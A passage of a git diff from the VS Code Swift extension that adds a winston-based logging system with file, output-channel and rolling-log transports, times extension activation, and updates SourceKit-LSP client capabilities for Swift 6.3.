Date.now() - swiftlyCheckStartTime; // If we don't have a toolchain, show an error and stop initializing the extension. // This can happen if the user has not installed Swift or if the toolchain is not // properly configured. if (!toolchain) { - void showToolchainError(); - return { - workspaceContext: undefined, - outputChannel, - activate: () => activate(context), - deactivate: async () => { - await deactivate(context); - }, - }; + // In order to select a toolchain we need to register the command first. + const subscriptions = commands.registerToolchainCommands(undefined, logger); + const chosenRemediation = await showToolchainError(); + subscriptions.forEach(sub => sub.dispose()); + + // If they tried to fix the improperly configured toolchain, re-initialize the extension. + if (chosenRemediation) { + return activate(context); + } else { + return { + workspaceContext: undefined, + logger, + activate: () => activate(context), + deactivate: async () => { + await deactivate(context); + }, + }; + } } - const workspaceContext = await WorkspaceContext.create(context, outputChannel, toolchain); + const workspaceContextStartTime = Date.now(); + const workspaceContext = new WorkspaceContext(context, contextKeys, logger, toolchain); context.subscriptions.push(workspaceContext); + const workspaceContextElapsed = Date.now() - workspaceContextStartTime; + const subscriptionsStartTime = Date.now(); context.subscriptions.push(new SwiftEnvironmentVariablesManager(context)); context.subscriptions.push(SwiftTerminalProfileProvider.register()); context.subscriptions.push( - ...commands.registerToolchainCommands(toolchain, workspaceContext.currentFolder?.folder) + ...commands.registerToolchainCommands(workspaceContext, workspaceContext.logger) ); // Watch for configuration changes the trigger a reload of the extension if necessary. @@ -95,7 +122,7 @@ export async function activate(context: vscode.ExtensionContext): Promise { context.subscriptions.push(...commands.register(workspaceContext)); context.subscriptions.push(registerDebugger(workspaceContext)); - context.subscriptions.push(new SelectedXcodeWatcher(outputChannel)); + context.subscriptions.push(new SelectedXcodeWatcher(logger)); // Register task provider. context.subscriptions.push( @@ -116,40 +143,44 @@ export async function activate(context: vscode.ExtensionContext): Promise { // observer for logging workspace folder addition/removal context.subscriptions.push( workspaceContext.onDidChangeFolders(({ folder, operation }) => { - workspaceContext.outputChannel.log( - `${operation}: ${folder?.folder.fsPath}`, - folder?.name - ); + logger.info(`${operation}: ${folder?.folder.fsPath}`, folder?.name); }) ); // project panel provider - const projectPanelProvider = new ProjectPanelProvider(workspaceContext); const dependenciesView = vscode.window.createTreeView("projectPanel", { - treeDataProvider: projectPanelProvider, + treeDataProvider: workspaceContext.projectPanel, showCollapseAll: true, }); - projectPanelProvider.observeFolders(dependenciesView); + workspaceContext.projectPanel.observeFolders(dependenciesView); - context.subscriptions.push(dependenciesView, projectPanelProvider); + context.subscriptions.push(dependenciesView); // observer that will resolve package and build launch configurations - context.subscriptions.push( - workspaceContext.onDidChangeFolders(handleFolderEvent(outputChannel)) - ); + context.subscriptions.push(workspaceContext.onDidChangeFolders(handleFolderEvent(logger))); context.subscriptions.push(TestExplorer.observeFolders(workspaceContext)); context.subscriptions.push(registerSourceKitSchemaWatcher(workspaceContext)); + const subscriptionsElapsed = Date.now() - subscriptionsStartTime; // setup workspace context with initial workspace folders - void workspaceContext.addWorkspaceFolders(); + const workspaceFoldersStartTime = Date.now(); + await workspaceContext.addWorkspaceFolders(); + const workspaceFoldersElapsed = Date.now() - workspaceFoldersStartTime; + const finalStepsStartTime = Date.now(); // Mark the extension as activated. contextKeys.isActivated = true; + const finalStepsElapsed = Date.now() - finalStepsStartTime; + + const totalActivationTime = Date.now() - activationStartTime; + logger.info( + `Extension activation completed in ${totalActivationTime}ms (log-setup: ${logSetupElapsed}ms, pre-toolchain: ${preToolchainElapsed}ms, toolchain: ${toolchainElapsed}ms, swiftly-check: ${swiftlyCheckElapsed}ms, workspace-context: ${workspaceContextElapsed}ms, subscriptions: ${subscriptionsElapsed}ms, workspace-folders: ${workspaceFoldersElapsed}ms, final-steps: ${finalStepsElapsed}ms)` + ); return { workspaceContext, - outputChannel, + logger, activate: () => activate(context), deactivate: async () => { await workspaceContext.stop(); @@ -165,21 +196,39 @@ export async function activate(context: vscode.ExtensionContext): Promise { } } -function handleFolderEvent( - outputChannel: SwiftOutputChannel -): (event: FolderEvent) => Promise { +function configureLogging(context: vscode.ExtensionContext) { + // Create log directory asynchronously but don't await it to avoid blocking activation + const logDirPromise = vscode.workspace.fs.createDirectory(context.logUri); + + const logger = new SwiftLoggerFactory(context.logUri).create( + "Swift", + "swift-vscode-extension.log" + ); + context.subscriptions.push(logger); + + void Promise.resolve(logDirPromise) + .then(() => { + // File transport will be added when directory is ready + }) + .catch((error: unknown) => { + logger.warn(`Failed to create log directory: ${error}`); + }); + return logger; +} + +function handleFolderEvent(logger: SwiftLogger): (event: FolderEvent) => Promise { // function called when a folder is added. I broke this out so we can trigger it // without having to await for it. async function folderAdded(folder: FolderContext, workspace: WorkspaceContext) { if ( !configuration.folder(folder.workspaceFolder).disableAutoResolve || - configuration.backgroundCompilation + configuration.backgroundCompilation.enabled ) { // if background compilation is set then run compile at startup unless // this folder is a sub-folder of the workspace folder. This is to avoid // kicking off compile for multiple projects at the same time if ( - configuration.backgroundCompilation && + configuration.backgroundCompilation.enabled && folder.workspaceFolder.uri === folder.folder ) { await folder.backgroundCompilation.runTask(); @@ -191,7 +240,7 @@ function handleFolderEvent( void workspace.statusItem.showStatusWhileRunning( `Loading Swift Plugins (${FolderContext.uriName(folder.workspaceFolder.uri)})`, async () => { - await folder.loadSwiftPlugins(outputChannel); + await folder.loadSwiftPlugins(logger); workspace.updatePluginContextKey(); await folder.fireEvent(FolderOperation.pluginsUpdated); } @@ -207,8 +256,9 @@ function handleFolderEvent( switch (operation) { case FolderOperation.add: - // Create launch.json files based on package description. - await debug.makeDebugConfigurations(folder); + // Create launch.json files based on package description, don't block execution. + void debug.makeDebugConfigurations(folder); + if (await folder.swiftPackage.foundPackage) { // do not await for this, let packages resolve in parallel void folderAdded(folder, workspace); @@ -216,8 +266,9 @@ function handleFolderEvent( break; case FolderOperation.packageUpdated: - // Create launch.json files based on package description. - await debug.makeDebugConfigurations(folder); + // Create launch.json files based on package description, don't block execution. + void debug.makeDebugConfigurations(folder); + if ( (await folder.swiftPackage.foundPackage) && !configuration.folder(folder.workspaceFolder).disableAutoResolve @@ -238,22 +289,26 @@ function handleFolderEvent( } async function createActiveToolchain( - outputChannel: SwiftOutputChannel + extension: vscode.ExtensionContext, + contextKeys: ContextKeys, + logger: SwiftLogger ): Promise { try { - const toolchain = await SwiftToolchain.create(undefined, outputChannel); - toolchain.logDiagnostics(outputChannel); + const toolchain = await SwiftToolchain.create(extension.extensionPath, undefined, logger); + toolchain.logDiagnostics(logger); contextKeys.updateKeysBasedOnActiveVersion(toolchain.swiftVersion); return toolchain; } catch (error) { - outputChannel.log("Failed to discover Swift toolchain"); - outputChannel.log(`${error}`); + logger.error(`Failed to discover Swift toolchain: ${error}`); return undefined; } } async function deactivate(context: vscode.ExtensionContext): Promise { - contextKeys.isActivated = false; + const workspaceContext = (context.extension.exports as Api).workspaceContext; + if (workspaceContext) { + workspaceContext.contextKeys.isActivated = false; + } context.subscriptions.forEach(subscription => subscription.dispose()); context.subscriptions.length = 0; } diff --git a/src/logging/FileTransport.ts b/src/logging/FileTransport.ts new file mode 100644 index 000000000..a51d7b7ed --- /dev/null +++ b/src/logging/FileTransport.ts @@ -0,0 +1,92 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs"; +import * as path from "path"; +import * as TransportType from "winston-transport"; + +// Compile error if don't use "require": https://github.com/swiftlang/vscode-swift/actions/runs/16529946578/job/46752753379?pr=1746 +// eslint-disable-next-line @typescript-eslint/no-require-imports +const Transport: typeof TransportType = require("winston-transport"); + +export class FileTransport extends Transport { + private fileHandle: fs.WriteStream | null = null; + private pendingLogs: string[] = []; + private isReady = false; + + constructor(private readonly filePath: string) { + super(); + this.initializeFile(); + } + + private initializeFile(): void { + try { + // Ensure the directory exists + const dir = path.dirname(this.filePath); + if (!fs.existsSync(dir)) { + fs.mkdirSync(dir, { recursive: true }); + } + + // Create write stream + this.fileHandle = fs.createWriteStream(this.filePath, { flags: "a" }); + + this.fileHandle.on("ready", () => { + this.isReady = true; + this.flushPendingLogs(); + }); + + this.fileHandle.on("error", error => { + // eslint-disable-next-line no-console + console.error(`FileTransport error: ${error}`); + this.isReady = false; + }); + } catch (error) { + // eslint-disable-next-line no-console + console.error(`Failed to initialize FileTransport: ${error}`); + this.isReady = false; + } + } + + private flushPendingLogs(): void { + if (this.fileHandle && this.pendingLogs.length > 0) { + for (const log of this.pendingLogs) { + this.fileHandle.write(log + "\n"); + } + this.pendingLogs = []; + } + } + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + public log(info: any, next: () => void): void { + // Get the formatted message from winston + const logMessage = info[Symbol.for("message")]; + + if (this.isReady && this.fileHandle) { + this.fileHandle.write(logMessage + "\n"); + } else { + // Buffer logs if file isn't ready yet + this.pendingLogs.push(logMessage); + } + + next(); + } + + public close(): void { + if (this.fileHandle) { + this.fileHandle.end(); + this.fileHandle = null; + } + this.isReady = false; + this.pendingLogs = []; + } +} diff --git a/src/logging/OutputChannelTransport.ts b/src/logging/OutputChannelTransport.ts new file mode 100644 index 000000000..eaa88d2d8 --- /dev/null +++ b/src/logging/OutputChannelTransport.ts @@ -0,0 +1,40 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; +import * as TransportType from "winston-transport"; + +// Compile error if don't use "require": https://github.com/swiftlang/vscode-swift/actions/runs/16529946578/job/46752753379?pr=1746 +// eslint-disable-next-line @typescript-eslint/no-require-imports +const Transport: typeof TransportType = require("winston-transport"); + +export class OutputChannelTransport extends Transport { + private appending: boolean = false; + + constructor(private readonly ouptutChannel: vscode.OutputChannel) { + super(); + } + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + public log(info: any, next: () => void): void { + const logMessage = this.appending ? info.message : info[Symbol.for("message")]; + if (info.append) { + this.ouptutChannel.append(logMessage); + this.appending = true; + } else { + this.ouptutChannel.appendLine(logMessage); + this.appending = false; + } + next(); + } +} diff --git a/src/logging/RollingLog.ts b/src/logging/RollingLog.ts new file mode 100644 index 000000000..f168137c4 --- /dev/null +++ b/src/logging/RollingLog.ts @@ -0,0 +1,80 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +export class RollingLog implements vscode.Disposable { + private _logs: (string | null)[]; + private startIndex: number = 0; + private endIndex: number = 0; + private logCount: number = 0; + + constructor(private maxLogs: number) { + this._logs = new Array(maxLogs).fill(null); + } + + public get logs(): string[] { + const logs: string[] = []; + for (let i = 0; i < this.logCount; i++) { + logs.push(this._logs[(this.startIndex + i) % this.maxLogs]!); + } + return logs; + } + + private incrementIndex(index: number): number { + return (index + 1) % this.maxLogs; + } + + dispose() { + this.clear(); + } + + clear() { + this._logs = new Array(this.maxLogs).fill(null); + this.startIndex = 0; + this.endIndex = 0; + this.logCount = 0; + } + + appendLine(log: string) { + // Writing to a new line that isn't the very first, increment the end index + if (this.logCount > 0) { + this.endIndex = this.incrementIndex(this.endIndex); + } + + // We're over the window size, move the start index + if (this.logCount === this.maxLogs) { + this.startIndex = this.incrementIndex(this.startIndex); + } else { + this.logCount++; + } + + this._logs[this.endIndex] = log; + } + + append(log: string) { + if (this.logCount === 0) { + this.logCount = 1; + } + const newLogLine = (this._logs[this.endIndex] ?? "") + log; + this._logs[this.endIndex] = newLogLine; + } + + replace(log: string) { + this._logs = new Array(this.maxLogs).fill(null); + this._logs[0] = log; + this.startIndex = 0; + this.endIndex = 1; + this.logCount = 1; + } +} diff --git a/src/logging/RollingLogTransport.ts b/src/logging/RollingLogTransport.ts new file mode 100644 index 000000000..519a79ce9 --- /dev/null +++ b/src/logging/RollingLogTransport.ts @@ -0,0 +1,37 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as TransportType from "winston-transport"; + +import { RollingLog } from "./RollingLog"; + +// Compile error if don't use "require": https://github.com/swiftlang/vscode-swift/actions/runs/16529946578/job/46752753379?pr=1746 +// eslint-disable-next-line @typescript-eslint/no-require-imports +const Transport: typeof TransportType = require("winston-transport"); + +export class RollingLogTransport extends Transport { + constructor(private rollingLog: RollingLog) { + super(); + this.level = "debug"; + } + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + public log(info: any, next: () => void): void { + if (info.append) { + this.rollingLog.append(info.message); + } else { + this.rollingLog.appendLine(info.message); + } + next(); + } +} diff --git a/src/logging/SwiftLogger.ts b/src/logging/SwiftLogger.ts new file mode 100644 index 000000000..ee29ee7d5 --- /dev/null +++ b/src/logging/SwiftLogger.ts @@ -0,0 +1,182 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; +import * as winston from "winston"; + +import configuration from "../configuration"; +import { IS_RUNNING_IN_DEVELOPMENT_MODE, IS_RUNNING_UNDER_TEST } from "../utilities/utilities"; +import { FileTransport } from "./FileTransport"; +import { OutputChannelTransport } from "./OutputChannelTransport"; +import { RollingLog } from "./RollingLog"; +import { RollingLogTransport } from "./RollingLogTransport"; + +// Winston work off of "any" as meta data so creating this +// type so we don't have to disable ESLint many times below +// eslint-disable-next-line @typescript-eslint/no-explicit-any +type LoggerMeta = any; +type LogMessageOptions = { append: boolean }; + +export class SwiftLogger implements vscode.Disposable { + private disposables: vscode.Disposable[] = []; + private logger: winston.Logger; + protected rollingLog: RollingLog; + protected outputChannel: vscode.OutputChannel; + private fileTransport: FileTransport; + private cachedOutputChannelLevel: string | undefined; + + constructor( + public readonly name: string, + public readonly logFilePath: string, + logStoreLinesSize: number = 250_000 // default to capturing 250k log lines + ) { + this.rollingLog = new RollingLog(logStoreLinesSize); + this.outputChannel = vscode.window.createOutputChannel(name); + const ouptutChannelTransport = new OutputChannelTransport(this.outputChannel); + ouptutChannelTransport.level = this.outputChannelLevel; + const rollingLogTransport = new RollingLogTransport(this.rollingLog); + + // Create file transport + this.fileTransport = new FileTransport(this.logFilePath); + this.fileTransport.level = "debug"; // File logging at the 'debug' level always + + // Create logger with all transports + const transports = [ + ouptutChannelTransport, + this.fileTransport, + // Only want to capture the rolling log in memory when testing + ...(IS_RUNNING_UNDER_TEST ? [rollingLogTransport] : []), + ...(IS_RUNNING_IN_DEVELOPMENT_MODE + ? [new winston.transports.Console({ level: "debug" })] + : []), + ]; + + this.logger = winston.createLogger({ + transports: transports, + format: winston.format.combine( + winston.format.errors({ stack: true }), + winston.format.timestamp({ format: "YYYY-MM-DD HH:mm:ss.SSS" }), // This is the format of `vscode.LogOutputChannel` + winston.format.printf(msg => { + return `${msg.timestamp} [${msg.level}] ${msg.message}${msg.stack ? ` ${msg.stack}` : ""}`; + }), + winston.format.colorize() + ), + }); + this.disposables.push( + { + dispose: () => { + this.logger.close(); + if (ouptutChannelTransport.close) { + ouptutChannelTransport.close(); + } + if (rollingLogTransport.close) { + rollingLogTransport.close(); + } + this.fileTransport.close(); + }, + }, + vscode.workspace.onDidChangeConfiguration(e => { + if ( + e.affectsConfiguration("swift.outputChannelLogLevel") || + e.affectsConfiguration("swift.diagnostics") + ) { + // Clear cache when configuration changes + this.cachedOutputChannelLevel = undefined; + ouptutChannelTransport.level = this.outputChannelLevel; + } + }) + ); + } + + debug(message: LoggerMeta, label?: string, options?: LogMessageOptions) { + const normalizedMessage = this.normalizeMessage(message, label); + this.logWithBuffer("debug", normalizedMessage, options); + } + + info(message: LoggerMeta, label?: string, options?: LogMessageOptions) { + const normalizedMessage = this.normalizeMessage(message, label); + this.logWithBuffer("info", normalizedMessage, options); + } + + warn(message: LoggerMeta, label?: string, options?: LogMessageOptions) { + const normalizedMessage = this.normalizeMessage(message, label); + this.logWithBuffer("warn", normalizedMessage, options); + } + + error(message: LoggerMeta, label?: string, options?: LogMessageOptions) { + if (message instanceof Error) { + this.logWithBuffer("error", message); + return; + } + const normalizedMessage = this.normalizeMessage(message, label); + this.logWithBuffer("error", normalizedMessage, options); + } + + private logWithBuffer(level: string, message: string | Error, meta?: LoggerMeta) { + // Log to all transports (output channel, file, console, etc.) + if (message instanceof Error) { + this.logger.log(level, message); + } else { + this.logger.log(level, message, meta); + } + } + + get logs(): string[] { + return this.rollingLog.logs; + } + + clear() { + this.outputChannel.clear(); + this.rollingLog.clear(); + } + + private normalizeMessage(message: LoggerMeta, label?: string) { + let fullMessage: string; + if (typeof message === "string") { + fullMessage = message; + } else { + try { + fullMessage = JSON.stringify(message); + } catch (e) { + fullMessage = `${message}`; + } + } + if (label !== undefined) { + fullMessage = `${label}: ${message}`; + } + return fullMessage; + } + + private get outputChannelLevel(): string { + // Cache the configuration lookup to avoid repeated expensive calls during initialization + if (this.cachedOutputChannelLevel === undefined) { + const info = vscode.workspace + .getConfiguration("swift") + .inspect("outputChannelLogLevel"); + // If the user has explicitly set `outputChannelLogLevel` then use it, otherwise + // check the deprecated `diagnostics` property + if (info?.globalValue || info?.workspaceValue || info?.workspaceFolderValue) { + this.cachedOutputChannelLevel = configuration.outputChannelLogLevel; + } else if (configuration.diagnostics) { + this.cachedOutputChannelLevel = "debug"; + } else { + this.cachedOutputChannelLevel = configuration.outputChannelLogLevel; + } + } + return this.cachedOutputChannelLevel; + } + + dispose() { + this.disposables.forEach(d => d.dispose()); + } +} diff --git a/src/logging/SwiftLoggerFactory.ts b/src/logging/SwiftLoggerFactory.ts new file mode 100644 index 000000000..a4f3fa2e8 --- /dev/null +++ b/src/logging/SwiftLoggerFactory.ts @@ -0,0 +1,47 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { join } from "path"; +import * as vscode from "vscode"; + +import { TemporaryFolder } from "../utilities/tempFolder"; +import { SwiftLogger } from "./SwiftLogger"; +import { SwiftOutputChannel } from "./SwiftOutputChannel"; + +export class SwiftLoggerFactory { + constructor(public readonly logFolderUri: vscode.Uri) {} + + create(name: string, logFilename: string): SwiftLogger; + create(name: string, logFilename: string, options: { outputChannel: true }): SwiftOutputChannel; + create( + name: string, + logFilename: string, + options: { outputChannel: boolean } = { outputChannel: false } + ): SwiftLogger { + return options?.outputChannel + ? new SwiftOutputChannel(name, this.logFilePath(logFilename)) + : new SwiftLogger(name, this.logFilePath(logFilename)); + } + + /** + * This is mainly only intended for testing purposes + */ + async temp(name: string): Promise { + const folder = await TemporaryFolder.create(); + return new SwiftLogger(name, join(folder.path, `${name}.log`)); + } + + private logFilePath(logFilename: string): string { + return join(this.logFolderUri.fsPath, logFilename); + } +} diff --git a/src/logging/SwiftOutputChannel.ts b/src/logging/SwiftOutputChannel.ts new file mode 100644 index 000000000..99fab8951 --- /dev/null +++ b/src/logging/SwiftOutputChannel.ts @@ -0,0 +1,47 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { SwiftLogger } from "./SwiftLogger"; + +export class SwiftOutputChannel extends SwiftLogger implements vscode.OutputChannel { + /** + * Creates a vscode.OutputChannel that allows for later retrieval of logs. + * @param name + */ + constructor(name: string, logFilePath: string, logStoreLinesSize?: number) { + super(name, logFilePath, logStoreLinesSize); + } + + append(value: string): void { + this.info(value, undefined, { append: true }); + } + + appendLine(value: string): void { + this.info(value); + } + + replace(value: string): void { + this.outputChannel.replace(value); + this.rollingLog.replace(value); + } + + show(_column?: unknown, preserveFocus?: boolean | undefined): void { + this.outputChannel.show(preserveFocus); + } + + hide(): void { + this.outputChannel.hide(); + } +} diff --git a/src/process-list/BaseProcessList.ts b/src/process-list/BaseProcessList.ts index ec48d1fa0..8586bf210 100644 --- a/src/process-list/BaseProcessList.ts +++ b/src/process-list/BaseProcessList.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as util from "util"; -import * as child_process from "child_process"; import { Process, ProcessList } from "."; +import * as child_process from "child_process"; +import * as util from "util"; + import { lineBreakRegex } from "../utilities/tasks"; const exec = util.promisify(child_process.execFile); diff --git a/src/process-list/index.ts b/src/process-list/index.ts index e1efa2cd6..04af33aa2 100644 --- a/src/process-list/index.ts +++ b/src/process-list/index.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { DarwinProcessList } from "./platforms/DarwinProcessList"; import { LinuxProcessList } from "./platforms/LinuxProcessList"; import { WindowsProcessList } from "./platforms/WindowsProcessList"; diff --git a/src/process-list/platforms/DarwinProcessList.ts b/src/process-list/platforms/DarwinProcessList.ts index 2fbc60033..2b5890c10 100644 --- a/src/process-list/platforms/DarwinProcessList.ts +++ b/src/process-list/platforms/DarwinProcessList.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { LinuxProcessList } from "./LinuxProcessList"; export class DarwinProcessList extends LinuxProcessList { diff --git a/src/process-list/platforms/LinuxProcessList.ts b/src/process-list/platforms/LinuxProcessList.ts index 9db94a8e7..31f359b85 100644 --- a/src/process-list/platforms/LinuxProcessList.ts +++ b/src/process-list/platforms/LinuxProcessList.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { BaseProcessList, ProcessListParser } from "../BaseProcessList"; export class LinuxProcessList extends BaseProcessList { diff --git a/src/process-list/platforms/WindowsProcessList.ts b/src/process-list/platforms/WindowsProcessList.ts index ce7d77698..9861b1ca5 100644 --- a/src/process-list/platforms/WindowsProcessList.ts +++ b/src/process-list/platforms/WindowsProcessList.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { BaseProcessList, ProcessListParser } from "../BaseProcessList"; export class WindowsProcessList extends BaseProcessList { diff --git a/src/sourcekit-lsp/LSPOutputChannel.ts b/src/sourcekit-lsp/LSPOutputChannel.ts index 2bd7ef175..52ef8d4d3 100644 --- a/src/sourcekit-lsp/LSPOutputChannel.ts +++ b/src/sourcekit-lsp/LSPOutputChannel.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; export interface LSPLogger { diff --git a/src/sourcekit-lsp/LanguageClientConfiguration.ts b/src/sourcekit-lsp/LanguageClientConfiguration.ts index 9af9ecd66..7a08b060b 100644 --- a/src/sourcekit-lsp/LanguageClientConfiguration.ts +++ b/src/sourcekit-lsp/LanguageClientConfiguration.ts @@ -11,29 +11,27 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// -import * as vscode from "vscode"; import * as path from "path"; +import * as vscode from "vscode"; import { DocumentSelector, LanguageClientOptions, RevealOutputChannelOn, vsdiag, } from "vscode-languageclient"; -import configuration from "../configuration"; -import { Version } from "../utilities/version"; -import { WorkspaceContext } from "../WorkspaceContext"; + import { DiagnosticsManager } from "../DiagnosticsManager"; -import { SwiftOutputChannel } from "../ui/SwiftOutputChannel"; +import { WorkspaceContext } from "../WorkspaceContext"; import { promptForDiagnostics } from "../commands/captureDiagnostics"; -import { uriConverters } from "./uriConverters"; -import { LSPActiveDocumentManager } from "./didChangeActiveDocument"; +import configuration from "../configuration"; +import { Version } from "../utilities/version"; import { SourceKitLSPErrorHandler } from "./LanguageClientManager"; +import { LSPActiveDocumentManager } from "./didChangeActiveDocument"; +import { uriConverters } from "./uriConverters"; /* eslint-disable @typescript-eslint/no-explicit-any */ function initializationOptions(swiftVersion: Version): any { let options: any = { - "workspace/peekDocuments": true, // workaround for client capability to handle `PeekDocumentsRequest` - "workspace/getReferenceDocument": true, // the client can handle URIs with scheme `sourcekit-lsp:` "textDocument/codeLens": { supportedCommands: { "swift.run": "swift.run", @@ -42,6 +40,26 @@ function initializationOptions(swiftVersion: Version): any { }, }; + // Swift 6.3 changed the value to enable experimental client capabilities from `true` to `{ "supported": true }` + // (https://github.com/swiftlang/sourcekit-lsp/pull/2204) + if (swiftVersion.isGreaterThanOrEqual(new Version(6, 3, 0))) { + options = { + "workspace/peekDocuments": { + supported: true, // workaround for client capability to handle `PeekDocumentsRequest` + peekLocation: true, // allow SourceKit-LSP to send `Location` instead of `DocumentUri` for the locations to peek. + }, + "workspace/getReferenceDocument": { + supported: true, // the client can handle URIs with scheme `sourcekit-lsp:` + }, + }; + } else { + options = { + ...options, + "workspace/peekDocuments": true, // workaround for client capability to handle `PeekDocumentsRequest` + "workspace/getReferenceDocument": true, // the client can handle URIs with scheme `sourcekit-lsp:` + }; + } + // Swift 6.0.0 and later supports background indexing. // In 6.0.0 it is experimental so only "true" enables it. // In 6.1.0 it is no longer experimental, and so "auto" or "true" enables it. @@ -58,7 +76,14 @@ function initializationOptions(swiftVersion: Version): any { }; } - if (swiftVersion.isGreaterThanOrEqual(new Version(6, 1, 0))) { + if (swiftVersion.isGreaterThanOrEqual(new Version(6, 3, 0))) { + options = { + ...options, + "window/didChangeActiveDocument": { + supported: true, // the client can send `window/didChangeActiveDocument` notifications + }, + }; + } else if (swiftVersion.isGreaterThanOrEqual(new Version(6, 1, 0))) { options = { ...options, "window/didChangeActiveDocument": true, // the client can send `window/didChangeActiveDocument` notifications @@ -153,6 +178,33 @@ export class LanguagerClientDocumentSelectors { } } +function addParameterHintsCommandsIfNeeded( + items: vscode.CompletionItem[], + documentUri: vscode.Uri +): vscode.CompletionItem[] { + if (!configuration.parameterHintsEnabled(documentUri)) { + return items; + } + + return items.map(item => { + switch (item.kind) { + case vscode.CompletionItemKind.Function: + case vscode.CompletionItemKind.Method: + case vscode.CompletionItemKind.Constructor: + case vscode.CompletionItemKind.EnumMember: + return { + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + ...item, + }; + default: + return item; + } + }); +} + export function lspClientOptions( swiftVersion: Version, workspaceContext: WorkspaceContext, @@ -167,13 +219,31 @@ export function lspClientOptions( return { documentSelector: LanguagerClientDocumentSelectors.sourcekitLSPDocumentTypes(), revealOutputChannelOn: RevealOutputChannelOn.Never, - workspaceFolder: workspaceFolder, - outputChannel: new SwiftOutputChannel( - `SourceKit Language Server (${swiftVersion.toString()})` + workspaceFolder, + outputChannel: workspaceContext.loggerFactory.create( + `SourceKit Language Server (${swiftVersion.toString()})`, + `sourcekit-lsp-${swiftVersion.toString()}.log`, + { outputChannel: true } ), middleware: { didOpen: activeDocumentManager.didOpen.bind(activeDocumentManager), didClose: activeDocumentManager.didClose.bind(activeDocumentManager), + provideCompletionItem: async (document, position, context, token, next) => { + const result = await next(document, position, context, token); + + if (!result) { + return result; + } + + if (Array.isArray(result)) { + return addParameterHintsCommandsIfNeeded(result, document.uri); + } + + return { + ...result, + items: addParameterHintsCommandsIfNeeded(result.items, document.uri), + }; + }, provideCodeLenses: async (document, token, next) => { const result = await next(document, token); return result?.map(codelens => { diff --git a/src/sourcekit-lsp/LanguageClientFactory.ts b/src/sourcekit-lsp/LanguageClientFactory.ts index ef22cbcf9..3dc9981a7 100644 --- a/src/sourcekit-lsp/LanguageClientFactory.ts +++ b/src/sourcekit-lsp/LanguageClientFactory.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { LanguageClient, LanguageClientOptions, ServerOptions } from "vscode-languageclient/node"; /** diff --git a/src/sourcekit-lsp/LanguageClientManager.ts b/src/sourcekit-lsp/LanguageClientManager.ts index d764e0734..13ec7d139 100644 --- a/src/sourcekit-lsp/LanguageClientManager.ts +++ b/src/sourcekit-lsp/LanguageClientManager.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import { CloseAction, @@ -25,22 +24,24 @@ import { MessageType, State, } from "vscode-languageclient"; +import { Executable, LanguageClient, ServerOptions } from "vscode-languageclient/node"; + +import { FolderContext } from "../FolderContext"; import configuration from "../configuration"; +import { SwiftOutputChannel } from "../logging/SwiftOutputChannel"; +import { ArgumentFilter, BuildFlags } from "../toolchain/BuildFlags"; import { swiftRuntimeEnv } from "../utilities/utilities"; import { Version } from "../utilities/version"; -import { activateLegacyInlayHints } 